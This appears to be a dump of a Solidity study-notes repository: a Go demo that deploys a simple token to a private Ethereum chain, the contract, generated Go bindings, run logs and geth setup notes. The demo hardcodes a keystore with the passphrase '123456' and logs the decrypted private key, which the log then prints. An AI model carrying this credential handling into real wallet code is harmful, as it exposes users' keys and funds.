`{"address":"9b4eabea5d69a3c434c40f84f65282f6b4d9b232","crypto":{"cipher":"aes-128-ctr","ciphertext":"0c1a562d3a28682f28a02de89927adbacd99168e9efa48fe3ff0a85df70febac","cipherparams":{"iv":"6cdadf4f3f38af7a4aee1843198a9c00"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"20b525e4dbfac089dd9c5c65fb873a9e530d42f47610647fe31b23f6e348f58e"},"mac":"1651c2597ccedb675f372ad49f0ad30fb5a6c604ee5bda7283e35ed3f9da3ba7"},"id":"6d3f052d-bdf7-411f-bc99-86b7e73fb6a3","version":3}` 109 | 110 | const gPassphrase = "123456" 111 | 112 | type EthToken struct { 113 | client *ethclient.Client // ethclient client instance 114 | } 115 | 116 | func NewEthToken(url string) *EthToken { 117 | ec, err := ethclient.Dial(url) 118 | if err != nil { 119 | log.Fatalf("Failed to instantiate a ethereum client: %v", err) 120 | } 121 | return &EthToken{client: ec} 122 | } 123 | 124 | func (t *EthToken) DeployToken(_tops *bind.TransactOpts, supply int64) *token.BoreyToken { 125 | _, tx, contract, err := token.DeployBoreyToken(_tops, t.client, big.NewInt(supply)) 126 | 127 | if err != nil { 128 | log.Fatalf("Failed to deploy new token contract: %v", err) 129 | } 130 | 131 | log.Printf("Transaction waiting to be mined: 0x%x", tx.Hash()) 132 | 133 | // 等待交易确认后记录在区块上, 获取该笔交易的信息 134 | for { 135 | r, err := t.client.TransactionReceipt(context.Background(), tx.Hash()) 136 | if err == ethereum.NotFound { 137 | time.Sleep(1 * time.Second) 138 | continue 139 | } 140 | 141 | if err != nil { 142 | log.Fatalf("Failed to deploy new token contract: %v", err) 143 | } 144 | 145 | if r != nil { 146 | log.Printf("Transaction had been mined !") 147 | log.Printf("Deploy token contract successfully, contract address is : %s", r.ContractAddress.String()) 148 | break 149 | } 150 | } 151 | 152 | return contract 153 | } 154 | 155 | // TransactOpts is the collection of authorization data required to create a valid Ethereum transaction. 156 | func GetAuth(_keystore string, _passphrase string) *bind.TransactOpts { 157 | key, err := keystore.DecryptKey([]byte(_keystore), _passphrase) 158 | if err != nil { 159 | log.Fatalf("Failed to decrypt key: %v", err) 160 | } 161 | // 对keystore采取对称加密解析出私钥 162 | log.Printf("decrypt keystore private key: %x", crypto.FromECDSA(key.PrivateKey)) 163 | return bind.NewKeyedTransactor(key.PrivateKey) 164 | } 165 | 166 | func testDeployContract() { 167 | 168 | auth := GetAuth(gKeystore, gPassphrase) 169 | // 部署合约 170 | pEt := NewEthToken("ws://192.168.4.136:8641") 171 | contract := pEt.DeployToken(auth, 100000000) 172 | // 获取balance 173 | b, _ := contract.BalanceOf(&bind.CallOpts{}, auth.From) 174 | log.Printf("Owner: %x, balaceOf: %s", auth.From, b.String()) 175 | } 176 | 177 | func main() { 178 | testDeployContract() 179 | } 180 | 181 | ``` 182 | 183 | - Application log 184 | ```bash 185 | c:/go/bin/go.exe run main.go [D:/golang/gopath/src/golang.sol/demo] 186 | 2018/07/26 18:30:50 decrypt keystore private key: 0465160528ae598e77ac573be21e61a706117d0217b410510a61cbf90d66a2a5 187 | 2018/07/26 18:30:50 Transaction waiting to be mined: 0xc7e01febb8610c31cdf1592d2d3fb958cc6ca5cc26769c08c0b37afd748559b8 188 | 2018/07/26 18:31:14 Transaction had been mined ! 189 | 2018/07/26 18:31:14 Deploy token contract successfully, contract address is : 0xB48e9b2993977777A0cC06D535FBB8A642029251 190 | 2018/07/26 18:31:14 Owner: 9b4eabea5d69a3c434c40f84f65282f6b4d9b232, balaceOf: 100000000 191 | 成功: 进程退出代码 0. 192 | ``` 193 | 194 | - Geth log 195 | ``` 196 | INFO [07-26|18:30:39] Commit new mining work number=3440 txs=0 uncles=0 elapsed=107.261µs 197 | INFO [07-26|18:30:50] Submitted contract creation fullhash=0xc7e01febb8610c31cdf1592d2d3fb958cc6ca5cc26769c08c0b37afd748559b8 contract=0xB48e9b2993977777A0cC06D535FBB8A642029251 198 | INFO [07-26|18:31:03] Successfully sealed new block number=3440 hash=cf758e…0b1d57 199 | INFO [07-26|18:31:03] 🔗 block reached canonical chain number=3435 hash=61f6ef…8fc3ff 200 | INFO [07-26|18:31:03] 🔨 mined potential block number=3440 hash=cf758e…0b1d57 201 | INFO [07-26|18:31:03] Commit new mining work number=3441 txs=1 uncles=0 elapsed=371.219µs 202 | INFO [07-26|18:31:13] Successfully sealed new block number=3441 hash=74482b…201edc 203 | INFO [07-26|18:31:13] 🔗 block reached canonical chain number=3436 hash=fd39c5…1481a1 204 | INFO [07-26|18:31:13] 🔨 mined potential block number=3441 hash=74482b…201edc 205 | INFO [07-26|18:31:13] Commit new mining work number=3442 txs=0 uncles=0 elapsed=164.888µs 206 | 207 | ``` -------------------------------------------------------------------------------- /notes/golang/golang.sol/demo/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "math/big" 7 | "time" 8 | 9 | "github.com/ethereum/go-ethereum" 10 | "github.com/ethereum/go-ethereum/accounts/abi/bind" 11 | "github.com/ethereum/go-ethereum/accounts/keystore" 12 | "github.com/ethereum/go-ethereum/crypto" 13 | // "github.com/ethereum/go-ethereum/common" 14 | "github.com/ethereum/go-ethereum/ethclient" 15 | "golang.sol/demo/token" 16 | ) 17 | 18 | const gKeystore = `{"address":"9b4eabea5d69a3c434c40f84f65282f6b4d9b232","crypto":{"cipher":"aes-128-ctr","ciphertext":"0c1a562d3a28682f28a02de89927adbacd99168e9efa48fe3ff0a85df70febac","cipherparams":{"iv":"6cdadf4f3f38af7a4aee1843198a9c00"},"kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"20b525e4dbfac089dd9c5c65fb873a9e530d42f47610647fe31b23f6e348f58e"},"mac":"1651c2597ccedb675f372ad49f0ad30fb5a6c604ee5bda7283e35ed3f9da3ba7"},"id":"6d3f052d-bdf7-411f-bc99-86b7e73fb6a3","version":3}` 19 | const gKdfKeystore = `{"id": "99bc6e3f-494d-435e-acdf-8de9ca575fea", "crypto": {"cipher": "aes-128-ctr", "kdf": "pbkdf2", "kdfparams": {"prf": "hmac-sha256", "dklen": 32, "salt": "eec7d57b21d816db9cc77928b28bb9bb", "c": 1000000}, "cipherparams": {"iv": "b9235c9c5a1ded08c5a950f72b30e8e1"}, "ciphertext": "ceb1e49cbbd7322c513dc5e541899a880724f5997191b5e8b53eeee8c11c1c16", "mac": "1f6ca2bcc386ac1d4befd64ab302310fda013bbaa967582c9861f4a1ea6abb64"}, "version": 3, "address": "9b4eabea5d69a3c434c40f84f65282f6b4d9b232"}` 20 | const gPassphrase = "123456" 21 | 22 | type EthToken struct { 23 | client *ethclient.Client // ethclient client instance 24 | } 25 | 26 | func NewEthToken(url string) *EthToken { 27 | ec, err := ethclient.Dial(url) 28 | if err != nil { 29 | log.Fatalf("Failed to instantiate a ethereum client: %v", err) 30 | } 31 | return &EthToken{client: ec} 32 | } 33 | 34 | func (t *EthToken) DeployToken(_tops *bind.TransactOpts, supply int64) *token.BoreyToken { 35 | _, tx, contract, err := token.DeployBoreyToken(_tops, t.client, big.NewInt(supply)) 36 | if err != nil { 37 | log.Fatalf("Failed to deploy new token contract: %v", err) 38 | } 39 | 40 | log.Printf("Transaction waiting to be mined: 0x%x", tx.Hash()) 41 | 42 | for { 43 | r, err := t.client.TransactionReceipt(context.Background(), tx.Hash()) 44 | if err == ethereum.NotFound { 45 | time.Sleep(1 * time.Second) 46 | continue 47 | } 48 | 49 | if err != nil { 50 | log.Fatalf("Failed to deploy new token contract: %v", err) 51 | } 52 | 53 | if r != nil { 54 | log.Printf("Transaction had been mined !") 55 | log.Printf("Deploy token contract successfully, contract address is : %s", r.ContractAddress.String()) 56 | break 57 | } 58 | } 59 | 60 | return contract 61 | } 62 | 63 | // TransactOpts is the collection of authorization data required to create a valid Ethereum transaction. 64 | func GetAuth(_keystore string, _passphrase string) *bind.TransactOpts { 65 | key, err := keystore.DecryptKey([]byte(_keystore), _passphrase) 66 | if err != nil { 67 | log.Fatalf("Failed to decrypt key: %v", err) 68 | } 69 | log.Printf("decrypt keystore private key: %x", crypto.FromECDSA(key.PrivateKey)) 70 | return bind.NewKeyedTransactor(key.PrivateKey) 71 | } 72 | 73 | func testDeployContract() { 74 | auth := GetAuth(gKeystore, gPassphrase) 75 | pEt := NewEthToken("ws://192.168.4.136:8641") 76 | contract := pEt.DeployToken(auth, 100000000) 77 | b, _ := contract.BalanceOf(&bind.CallOpts{}, auth.From) 78 | log.Printf("Owner: %x, balaceOf: %s", auth.From, b.String()) 79 | } 80 | 81 | func main() { 82 | testDeployContract() 83 | } 84 | -------------------------------------------------------------------------------- /notes/golang/golang.sol/demo/token/BoreyToken.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.23; 2 | 3 | contract BoreyToken { 4 | event Transfer(address indexed _from, address indexed _to, uint256 _value); 5 | 6 | address public owner; 7 | mapping (address => uint) public balanceOf; 8 | 9 | constructor(uint256 supply) public { 10 | owner = msg.sender; 11 | balanceOf[msg.sender] = supply; 12 | } 13 | 14 | function transfer(address _to, uint256 _value) public returns (bool) { 15 | require(_to != address(0)); 16 | require(_value <= balanceOf[msg.sender]); 17 | 18 | balanceOf[msg.sender] = balanceOf[msg.sender] - _value; 19 | balanceOf[_to] = balanceOf[_to] + _value; 20 | emit Transfer(msg.sender, _to, _value); 21 | return true; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /notes/golang/golang.sol/demo/token/boreytoken.go: -------------------------------------------------------------------------------- 1 | // Code generated - DO NOT EDIT. 2 | // This file is a generated binding and any manual changes will be lost. 3 | 4 | package token 5 | 6 | import ( 7 | "math/big" 8 | "strings" 9 | 10 | ethereum "github.com/ethereum/go-ethereum" 11 | "github.com/ethereum/go-ethereum/accounts/abi" 12 | "github.com/ethereum/go-ethereum/accounts/abi/bind" 13 | "github.com/ethereum/go-ethereum/common" 14 | "github.com/ethereum/go-ethereum/core/types" 15 | "github.com/ethereum/go-ethereum/event" 16 | ) 17 | 18 | // BoreyTokenABI is the input ABI used to generate the binding from. 19 | const BoreyTokenABI = "[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"payable\":false,\"stateMutability\":\"view\",\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"name\":\"supply\",\"type\":\"uint256\"}],\"payable\":false,\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"name\":\"_from\",\"type\":\"address\"},{\"indexed\":true,\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":false,\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"}]" 20 | 21 | // BoreyTokenBin is the compiled bytecode used for deploying new contracts. 22 | const BoreyTokenBin = `0x608060405234801561001057600080fd5b50604051602080610287833981016040908152905160008054600160a060020a031916339081178255815260016020529190912055610233806100546000396000f3006080604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166370a08231811461005b5780638da5cb5b1461009b578063a9059cbb146100d9575b600080fd5b34801561006757600080fd5b5061008973ffffffffffffffffffffffffffffffffffffffff6004351661011e565b60408051918252519081900360200190f35b3480156100a757600080fd5b506100b0610130565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156100e557600080fd5b5061010a73ffffffffffffffffffffffffffffffffffffffff6004351660243561014c565b604080519115158252519081900360200190f35b60016020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff8316151561017057600080fd5b3360009081526001602052604090205482111561018c57600080fd5b3360008181526001602090815260408083208054879003905573ffffffffffffffffffffffffffffffffffffffff871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3506001929150505600a165627a7a7230582012e426d59d7877eba3a48ed53cd039ff66d4399e3b87c8a8cf2c48628e827eda0029` 23 | 24 | // DeployBoreyToken deploys a new Ethereum contract, binding an instance of BoreyToken to it. 25 | func DeployBoreyToken(auth *bind.TransactOpts, backend bind.ContractBackend, supply *big.Int) (common.Address, *types.Transaction, *BoreyToken, error) { 26 | parsed, err := abi.JSON(strings.NewReader(BoreyTokenABI)) 27 | if err != nil { 28 | return common.Address{}, nil, nil, err 29 | } 30 | address, tx, contract, err := bind.DeployContract(auth, parsed, common.FromHex(BoreyTokenBin), backend, supply) 31 | if err != nil { 32 | return common.Address{}, nil, nil, err 33 | } 34 | return address, tx, &BoreyToken{BoreyTokenCaller: BoreyTokenCaller{contract: contract}, BoreyTokenTransactor: BoreyTokenTransactor{contract: contract}, BoreyTokenFilterer: BoreyTokenFilterer{contract: contract}}, nil 35 | } 36 | 37 | // BoreyToken is an auto generated Go binding around an Ethereum contract. 38 | type BoreyToken struct { 39 | BoreyTokenCaller // Read-only binding to the contract 40 | BoreyTokenTransactor // Write-only binding to the contract 41 | BoreyTokenFilterer // Log filterer for contract events 42 | } 43 | 44 | // BoreyTokenCaller is an auto generated read-only Go binding around an Ethereum contract. 45 | type BoreyTokenCaller struct { 46 | contract *bind.BoundContract // Generic contract wrapper for the low level calls 47 | } 48 | 49 | // BoreyTokenTransactor is an auto generated write-only Go binding around an Ethereum contract. 50 | type BoreyTokenTransactor struct { 51 | contract *bind.BoundContract // Generic contract wrapper for the low level calls 52 | } 53 | 54 | // BoreyTokenFilterer is an auto generated log filtering Go binding around an Ethereum contract events. 55 | type BoreyTokenFilterer struct { 56 | contract *bind.BoundContract // Generic contract wrapper for the low level calls 57 | } 58 | 59 | // BoreyTokenSession is an auto generated Go binding around an Ethereum contract, 60 | // with pre-set call and transact options. 61 | type BoreyTokenSession struct { 62 | Contract *BoreyToken // Generic contract binding to set the session for 63 | CallOpts bind.CallOpts // Call options to use throughout this session 64 | TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session 65 | } 66 | 67 | // BoreyTokenCallerSession is an auto generated read-only Go binding around an Ethereum contract, 68 | // with pre-set call options. 69 | type BoreyTokenCallerSession struct { 70 | Contract *BoreyTokenCaller // Generic contract caller binding to set the session for 71 | CallOpts bind.CallOpts // Call options to use throughout this session 72 | } 73 | 74 | // BoreyTokenTransactorSession is an auto generated write-only Go binding around an Ethereum contract, 75 | // with pre-set transact options. 76 | type BoreyTokenTransactorSession struct { 77 | Contract *BoreyTokenTransactor // Generic contract transactor binding to set the session for 78 | TransactOpts bind.TransactOpts // Transaction auth options to use throughout this session 79 | } 80 | 81 | // BoreyTokenRaw is an auto generated low-level Go binding around an Ethereum contract. 82 | type BoreyTokenRaw struct { 83 | Contract *BoreyToken // Generic contract binding to access the raw methods on 84 | } 85 | 86 | // BoreyTokenCallerRaw is an auto generated low-level read-only Go binding around an Ethereum contract. 87 | type BoreyTokenCallerRaw struct { 88 | Contract *BoreyTokenCaller // Generic read-only contract binding to access the raw methods on 89 | } 90 | 91 | // BoreyTokenTransactorRaw is an auto generated low-level write-only Go binding around an Ethereum contract. 92 | type BoreyTokenTransactorRaw struct { 93 | Contract *BoreyTokenTransactor // Generic write-only contract binding to access the raw methods on 94 | } 95 | 96 | // NewBoreyToken creates a new instance of BoreyToken, bound to a specific deployed contract. 97 | func NewBoreyToken(address common.Address, backend bind.ContractBackend) (*BoreyToken, error) { 98 | contract, err := bindBoreyToken(address, backend, backend, backend) 99 | if err != nil { 100 | return nil, err 101 | } 102 | return &BoreyToken{BoreyTokenCaller: BoreyTokenCaller{contract: contract}, BoreyTokenTransactor: BoreyTokenTransactor{contract: contract}, BoreyTokenFilterer: BoreyTokenFilterer{contract: contract}}, nil 103 | } 104 | 105 | // NewBoreyTokenCaller creates a new read-only instance of BoreyToken, bound to a specific deployed contract. 106 | func NewBoreyTokenCaller(address common.Address, caller bind.ContractCaller) (*BoreyTokenCaller, error) { 107 | contract, err := bindBoreyToken(address, caller, nil, nil) 108 | if err != nil { 109 | return nil, err 110 | } 111 | return &BoreyTokenCaller{contract: contract}, nil 112 | } 113 | 114 | // NewBoreyTokenTransactor creates a new write-only instance of BoreyToken, bound to a specific deployed contract. 115 | func NewBoreyTokenTransactor(address common.Address, transactor bind.ContractTransactor) (*BoreyTokenTransactor, error) { 116 | contract, err := bindBoreyToken(address, nil, transactor, nil) 117 | if err != nil { 118 | return nil, err 119 | } 120 | return &BoreyTokenTransactor{contract: contract}, nil 121 | } 122 | 123 | // NewBoreyTokenFilterer creates a new log filterer instance of BoreyToken, bound to a specific deployed contract. 124 | func NewBoreyTokenFilterer(address common.Address, filterer bind.ContractFilterer) (*BoreyTokenFilterer, error) { 125 | contract, err := bindBoreyToken(address, nil, nil, filterer) 126 | if err != nil { 127 | return nil, err 128 | } 129 | return &BoreyTokenFilterer{contract: contract}, nil 130 | } 131 | 132 | // bindBoreyToken binds a generic wrapper to an already deployed contract. 133 | func bindBoreyToken(address common.Address, caller bind.ContractCaller, transactor bind.ContractTransactor, filterer bind.ContractFilterer) (*bind.BoundContract, error) { 134 | parsed, err := abi.JSON(strings.NewReader(BoreyTokenABI)) 135 | if err != nil { 136 | return nil, err 137 | } 138 | return bind.NewBoundContract(address, parsed, caller, transactor, filterer), nil 139 | } 140 | 141 | // Call invokes the (constant) contract method with params as input values and 142 | // sets the output to result. The result type might be a single field for simple 143 | // returns, a slice of interfaces for anonymous returns and a struct for named 144 | // returns. 145 | func (_BoreyToken *BoreyTokenRaw) Call(opts *bind.CallOpts, result interface{}, method string, params ...interface{}) error { 146 | return _BoreyToken.Contract.BoreyTokenCaller.contract.Call(opts, result, method, params...) 147 | } 148 | 149 | // Transfer initiates a plain transaction to move funds to the contract, calling 150 | // its default method if one is available. 151 | func (_BoreyToken *BoreyTokenRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { 152 | return _BoreyToken.Contract.BoreyTokenTransactor.contract.Transfer(opts) 153 | } 154 | 155 | // Transact invokes the (paid) contract method with params as input values. 156 | func (_BoreyToken *BoreyTokenRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { 157 | return _BoreyToken.Contract.BoreyTokenTransactor.contract.Transact(opts, method, params...) 158 | } 159 | 160 | // Call invokes the (constant) contract method with params as input values and 161 | // sets the output to result. The result type might be a single field for simple 162 | // returns, a slice of interfaces for anonymous returns and a struct for named 163 | // returns. 164 | func (_BoreyToken *BoreyTokenCallerRaw) Call(opts *bind.CallOpts, result interface{}, method string, params ...interface{}) error { 165 | return _BoreyToken.Contract.contract.Call(opts, result, method, params...) 166 | } 167 | 168 | // Transfer initiates a plain transaction to move funds to the contract, calling 169 | // its default method if one is available. 170 | func (_BoreyToken *BoreyTokenTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) { 171 | return _BoreyToken.Contract.contract.Transfer(opts) 172 | } 173 | 174 | // Transact invokes the (paid) contract method with params as input values. 175 | func (_BoreyToken *BoreyTokenTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) { 176 | return _BoreyToken.Contract.contract.Transact(opts, method, params...) 177 | } 178 | 179 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231. 180 | // 181 | // Solidity: function balanceOf( address) constant returns(uint256) 182 | func (_BoreyToken *BoreyTokenCaller) BalanceOf(opts *bind.CallOpts, arg0 common.Address) (*big.Int, error) { 183 | var ( 184 | ret0 = new(*big.Int) 185 | ) 186 | out := ret0 187 | err := _BoreyToken.contract.Call(opts, out, "balanceOf", arg0) 188 | return *ret0, err 189 | } 190 | 191 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231. 192 | // 193 | // Solidity: function balanceOf( address) constant returns(uint256) 194 | func (_BoreyToken *BoreyTokenSession) BalanceOf(arg0 common.Address) (*big.Int, error) { 195 | return _BoreyToken.Contract.BalanceOf(&_BoreyToken.CallOpts, arg0) 196 | } 197 | 198 | // BalanceOf is a free data retrieval call binding the contract method 0x70a08231. 199 | // 200 | // Solidity: function balanceOf( address) constant returns(uint256) 201 | func (_BoreyToken *BoreyTokenCallerSession) BalanceOf(arg0 common.Address) (*big.Int, error) { 202 | return _BoreyToken.Contract.BalanceOf(&_BoreyToken.CallOpts, arg0) 203 | } 204 | 205 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b. 206 | // 207 | // Solidity: function owner() constant returns(address) 208 | func (_BoreyToken *BoreyTokenCaller) Owner(opts *bind.CallOpts) (common.Address, error) { 209 | var ( 210 | ret0 = new(common.Address) 211 | ) 212 | out := ret0 213 | err := _BoreyToken.contract.Call(opts, out, "owner") 214 | return *ret0, err 215 | } 216 | 217 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b. 218 | // 219 | // Solidity: function owner() constant returns(address) 220 | func (_BoreyToken *BoreyTokenSession) Owner() (common.Address, error) { 221 | return _BoreyToken.Contract.Owner(&_BoreyToken.CallOpts) 222 | } 223 | 224 | // Owner is a free data retrieval call binding the contract method 0x8da5cb5b. 225 | // 226 | // Solidity: function owner() constant returns(address) 227 | func (_BoreyToken *BoreyTokenCallerSession) Owner() (common.Address, error) { 228 | return _BoreyToken.Contract.Owner(&_BoreyToken.CallOpts) 229 | } 230 | 231 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb. 232 | // 233 | // Solidity: function transfer(_to address, _value uint256) returns(bool) 234 | func (_BoreyToken *BoreyTokenTransactor) Transfer(opts *bind.TransactOpts, _to common.Address, _value *big.Int) (*types.Transaction, error) { 235 | return _BoreyToken.contract.Transact(opts, "transfer", _to, _value) 236 | } 237 | 238 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb. 239 | // 240 | // Solidity: function transfer(_to address, _value uint256) returns(bool) 241 | func (_BoreyToken *BoreyTokenSession) Transfer(_to common.Address, _value *big.Int) (*types.Transaction, error) { 242 | return _BoreyToken.Contract.Transfer(&_BoreyToken.TransactOpts, _to, _value) 243 | } 244 | 245 | // Transfer is a paid mutator transaction binding the contract method 0xa9059cbb. 246 | // 247 | // Solidity: function transfer(_to address, _value uint256) returns(bool) 248 | func (_BoreyToken *BoreyTokenTransactorSession) Transfer(_to common.Address, _value *big.Int) (*types.Transaction, error) { 249 | return _BoreyToken.Contract.Transfer(&_BoreyToken.TransactOpts, _to, _value) 250 | } 251 | 252 | // BoreyTokenTransferIterator is returned from FilterTransfer and is used to iterate over the raw logs and unpacked data for Transfer events raised by the BoreyToken contract. 253 | type BoreyTokenTransferIterator struct { 254 | Event *BoreyTokenTransfer // Event containing the contract specifics and raw log 255 | 256 | contract *bind.BoundContract // Generic contract to use for unpacking event data 257 | event string // Event name to use for unpacking event data 258 | 259 | logs chan types.Log // Log channel receiving the found contract events 260 | sub ethereum.Subscription // Subscription for errors, completion and termination 261 | done bool // Whether the subscription completed delivering logs 262 | fail error // Occurred error to stop iteration 263 | } 264 | 265 | // Next advances the iterator to the subsequent event, returning whether there 266 | // are any more events found. In case of a retrieval or parsing error, false is 267 | // returned and Error() can be queried for the exact failure. 268 | func (it *BoreyTokenTransferIterator) Next() bool { 269 | // If the iterator failed, stop iterating 270 | if it.fail != nil { 271 | return false 272 | } 273 | // If the iterator completed, deliver directly whatever's available 274 | if it.done { 275 | select { 276 | case log := <-it.logs: 277 | it.Event = new(BoreyTokenTransfer) 278 | if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { 279 | it.fail = err 280 | return false 281 | } 282 | it.Event.Raw = log 283 | return true 284 | 285 | default: 286 | return false 287 | } 288 | } 289 | // Iterator still in progress, wait for either a data or an error event 290 | select { 291 | case log := <-it.logs: 292 | it.Event = new(BoreyTokenTransfer) 293 | if err := it.contract.UnpackLog(it.Event, it.event, log); err != nil { 294 | it.fail = err 295 | return false 296 | } 297 | it.Event.Raw = log 298 | return true 299 | 300 | case err := <-it.sub.Err(): 301 | it.done = true 302 | it.fail = err 303 | return it.Next() 304 | } 305 | } 306 | 307 | // Error returns any retrieval or parsing error occurred during filtering. 308 | func (it *BoreyTokenTransferIterator) Error() error { 309 | return it.fail 310 | } 311 | 312 | // Close terminates the iteration process, releasing any pending underlying 313 | // resources. 314 | func (it *BoreyTokenTransferIterator) Close() error { 315 | it.sub.Unsubscribe() 316 | return nil 317 | } 318 | 319 | // BoreyTokenTransfer represents a Transfer event raised by the BoreyToken contract. 320 | type BoreyTokenTransfer struct { 321 | From common.Address 322 | To common.Address 323 | Value *big.Int 324 | Raw types.Log // Blockchain specific contextual infos 325 | } 326 | 327 | // FilterTransfer is a free log retrieval operation binding the contract event 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef. 328 | // 329 | // Solidity: e Transfer(_from indexed address, _to indexed address, _value uint256) 330 | func (_BoreyToken *BoreyTokenFilterer) FilterTransfer(opts *bind.FilterOpts, _from []common.Address, _to []common.Address) (*BoreyTokenTransferIterator, error) { 331 | 332 | var _fromRule []interface{} 333 | for _, _fromItem := range _from { 334 | _fromRule = append(_fromRule, _fromItem) 335 | } 336 | var _toRule []interface{} 337 | for _, _toItem := range _to { 338 | _toRule = append(_toRule, _toItem) 339 | } 340 | 341 | logs, sub, err := _BoreyToken.contract.FilterLogs(opts, "Transfer", _fromRule, _toRule) 342 | if err != nil { 343 | return nil, err 344 | } 345 | return &BoreyTokenTransferIterator{contract: _BoreyToken.contract, event: "Transfer", logs: logs, sub: sub}, nil 346 | } 347 | 348 | // WatchTransfer is a free log subscription operation binding the contract event 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef. 349 | // 350 | // Solidity: e Transfer(_from indexed address, _to indexed address, _value uint256) 351 | func (_BoreyToken *BoreyTokenFilterer) WatchTransfer(opts *bind.WatchOpts, sink chan<- *BoreyTokenTransfer, _from []common.Address, _to []common.Address) (event.Subscription, error) { 352 | 353 | var _fromRule []interface{} 354 | for _, _fromItem := range _from { 355 | _fromRule = append(_fromRule, _fromItem) 356 | } 357 | var _toRule []interface{} 358 | for _, _toItem := range _to { 359 | _toRule = append(_toRule, _toItem) 360 | } 361 | 362 | logs, sub, err := _BoreyToken.contract.WatchLogs(opts, "Transfer", _fromRule, _toRule) 363 | if err != nil { 364 | return nil, err 365 | } 366 | return event.NewSubscription(func(quit <-chan struct{}) error { 367 | defer sub.Unsubscribe() 368 | for { 369 | select { 370 | case log := <-logs: 371 | // New log arrived, parse the event and forward to the user 372 | event := new(BoreyTokenTransfer) 373 | if err := _BoreyToken.contract.UnpackLog(event, "Transfer", log); err != nil { 374 | return err 375 | } 376 | event.Raw = log 377 | 378 | select { 379 | case sink <- event: 380 | case err := <-sub.Err(): 381 | return err 382 | case <-quit: 383 | return nil 384 | } 385 | case err := <-sub.Err(): 386 | return err 387 | case <-quit: 388 | return nil 389 | } 390 | } 391 | }), nil 392 | } 393 | -------------------------------------------------------------------------------- /notes/remix/guide.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/remix/guide.md -------------------------------------------------------------------------------- /notes/remix/install.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/remix/install.md -------------------------------------------------------------------------------- /notes/summary/README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuquanbin/solidity-note/a986d269c08149f7ad303758623634aa96197c94/notes/summary/README.md -------------------------------------------------------------------------------- /notes/summary/geth.md: -------------------------------------------------------------------------------- 1 | 2 | ## Table of Content 3 | * [POW 部署](#Ethereum私链部署(POW)) 4 | * [POA 部署](#Ethereum私链部署(POA)) 5 | * [Proof-Of-Authority 介绍](./poa.md) 6 | * [supervisor 管理私链](./supervisor.md) 7 | * [MyEtherWallet 本地化部署](./myetherwallet.md) 8 | 9 | 10 | ## Ethereum私链部署(POW) 11 | 12 | - Download 13 | ``` 14 | # download website 下载 Geth & Tools 最新的 release 版本 15 | https://geth.ethereum.org/downloads 16 | ``` 17 | 18 | - 静态编译 19 | ``` 20 | prod@ubuntu:~/ethereum/node-test$ echo $GOPATH 21 | /home/prod/go 22 | 23 | # 下载代码目录 ~/go/src/github.com/ethereum/go-ethereum 24 | go get -d github.com/ethereum/go-ethereum 25 | 26 | # checkout to stable version 27 | git fetch origin release/1.8:release/1.8 28 | git checkout release/1.8 29 | 30 | # 编译 31 | go install --ldflags '-linkmode external -extldflags "-static"' github.com/ethereum/go-ethereum/cmd/geth 32 | ``` 33 | 34 | - 配置环境变量 35 | ```bash 36 | # 在 .bashrc 配置文件下添加PATH 37 | export PATH=/path/to/geth/tools/:$PATH 38 | source ~/.bashrc 39 | ``` 40 | 41 | - 初始化geth账户 42 | ```bash 43 | # 创建geth数据存放目录 44 | prod@ubuntu:~/ethereum/node-test$ mkdir node 45 | 46 | # 初始化 coinbase 钱包地址 geth --datadir node/ account new 47 | prod@ubuntu:~/ethereum/node-test$ geth --datadir node/ account new 48 | INFO [06-11|14:42:15] Maximum peer count ETH=25 LES=0 total=25 49 | Your new account is locked with a password. Please give a password. Do not forget this password. 50 | Passphrase: 51 | Repeat passphrase: 52 | Address: {fbade207f880faf479f1e76b55efcdeeb303c461} 53 | 54 | ``` 55 | 